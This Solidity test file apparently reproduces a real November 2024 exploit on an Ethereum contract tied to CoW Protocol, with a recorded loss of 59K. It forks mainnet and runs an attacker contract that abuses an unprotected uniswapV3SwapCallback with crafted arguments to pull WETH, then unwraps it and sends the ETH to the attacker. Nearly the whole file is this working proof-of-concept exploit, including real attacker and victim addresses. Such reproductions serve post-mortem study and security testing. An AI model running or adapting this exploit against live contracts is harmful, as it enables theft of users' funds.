src/test/2024-11/CoW_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 59K
7// Attacker : https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f000034
8// Attack Contract : https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c3
9// Vulnerable Contract : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41
10// Attack Tx : https://etherscan.io/tx/0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f9
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1854538807854649791
17// Twitter Guy : https://x.com/TenArmorAlert/status/1854538807854649791
18// Hacking God : N/A
19 
20address constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant attacker = 0x00baD13FA32E0000E35B8517E19986B93F000034;
22address constant addr2 = 0xA58cA3013Ed560594557f02420ed77e154De0109;
23address constant addr3 = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;
24 
25interface IWETH9 {
26    function balanceOf(address) external view returns (uint256);
27    function withdraw(uint256) external;
28}
29 
30interface ICallbackLike {
31    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external payable;
32}
33 
34contract ContractTest is Test {
35    function setUp() public {
36        vm.createSelectFork("mainnet", 21135438-1);
37    }
38    
39    function testPoC() public {
40        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
41        vm.startPrank(attacker, attacker);
42        AttackerC attC = new AttackerC();
43        attC.attack();
44        vm.stopPrank();
45        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
46    }
47}
48 
49// 0x67004E26F800c5EB050000200075f049AA0090c3
50contract AttackerC {
51    receive() external payable {}
52    function attack() public payable {
53        // call uniswapV3SwapCallback on addr2 with provided args and forward msg.value
54        bytes memory data = abi.encode(
55            uint256(1976408883179648193852),
56            addr3,
57            addr1,
58            address(this)
59        );
60        
61        ICallbackLike(addr2).uniswapV3SwapCallback(
62            -1978613680814188858940,
63            5373296932158610028,
64            data
65        );
66 
67        uint256 bal = IWETH9(addr1).balanceOf(address(this));
68        IWETH9(addr1).withdraw(bal);
69        payable(tx.origin).transfer(address(this).balance); // here, we did not transfer tip to coinbase, all to the attacker
70    }
71  
72    fallback() external payable {}
73}